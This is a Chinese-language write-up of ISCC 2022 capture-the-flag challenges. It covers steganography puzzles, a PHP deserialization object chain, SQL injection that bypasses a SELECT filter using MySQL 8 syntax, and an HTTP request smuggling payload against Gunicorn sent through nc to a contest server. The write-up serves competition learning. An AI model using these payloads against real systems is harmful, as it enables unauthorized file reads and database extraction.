ISCC(信息安全技能竞赛)是国内知名的网络安全赛事,2022年的赛题延续了往年的高水准,涵盖了Misc隐写、Web代码审计、SQL注入等多个方向。作为参赛选手,我花了整整三天时间才完成所有题目,其中几道题的设计确实让人拍案叫绝。
CTF比赛的核心在于快速定位关键信息和灵活运用工具链。从实战经验来看,解题效率=50%信息收集+30%工具熟练度+20%脑洞。下面我会按照题目分类,详细拆解典型赛题的破解过程。
这道题给出了一个损坏的PNG文件,解题过程堪称经典:
bash复制# 第一步:修复CRC校验错误
pngcheck -v flag.png
# 输出显示CRC错误,使用HexEditor修改高度值
实际测试发现,修改文件高度后会出现Unicode编码的字符串:
code复制\u5728\u8fd9\u6b21\u51ac\u5965\u4f1a\u7684\u821e\u53f0\u4e0a
解码后得到中文提示:"在这次冬奥会的舞台上",继续追踪发现RAR压缩包密码是"冰墩墩"。
这道题考察了多重编码转换能力:
code复制★✪Û✪✫★✩♡🌀✩✪🌀Û🏁✫☘︎🌀✫♡Û♡✦🌀
关键突破点是自制解码字典:
python复制key_dict = {
'Û':'A', '›':'B', '�':'C',
'✩':'E', '★':'F', '✪':'G',
# 完整字典省略...
}
这道PHP反序列化题目设计非常巧妙,需要构造四层对象链:
php复制<?php
class Road_is_Long{
public $page;
public $string;
// 构造方法省略...
}
class Try_Work_Hard{
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Make_a_Change{
public $effort;
}
// 构造利用链
$a = new Road_is_Long();
$a->page = new Road_is_Long();
$a->page->string = new Make_a_Change();
$a->page->string->effort = new Try_Work_Hard();
echo urlencode(serialize($a));
最终通过__invoke魔术方法触发文件包含,获取base64编码的flag。
这道题限制了SELECT关键字的使用,但MySQL 8.0的VALUES语法可以完美绕过:
sql复制?id=-1 union values row(1,database(),3)--+
通过信息收集发现关键表结构:
code复制59.110.159.206:7010/?id=2 and (('def','security','emails','0','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 79,1))#
这道题包含多层嵌套:
19981111snow隐写密码bash复制SNOW.EXE -p isccmisc -C flag.txt
利用Gunicorn 20.0.4的HTTP协议解析差异:
bash复制echo -en "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: localhost\r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 55\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020
关键点在于Sec-Websocket-Key1头的特殊处理机制,这会导致服务器解析出两个请求。
在实战中我发现几个高效工具组合:
例如在解一道Base100编码题时,使用CyberChef的魔法模式直接识别:
code复制输入:🐝🐖🐇🐇🐁🐓🐅🐈🐄🐇🐌🐇🐈🐏🐇🐉🐇🐊🐇🐋🐇🐌🐇🐍
输出:ISCC{Base100_IS_FUN}
建议新手建立自己的工具库,把常用工具放在/opt/tools目录下,并配置好环境变量。遇到新题型时,先做三件事:
file mysterystrings mystery | lessxxd mystery | head这次比赛有几道题确实卡了很久,特别是那个RSA矩阵求解的题目,最后发现要用SageMath的LLL算法。这也提醒我,密码学题目要提前准备好数学工具链。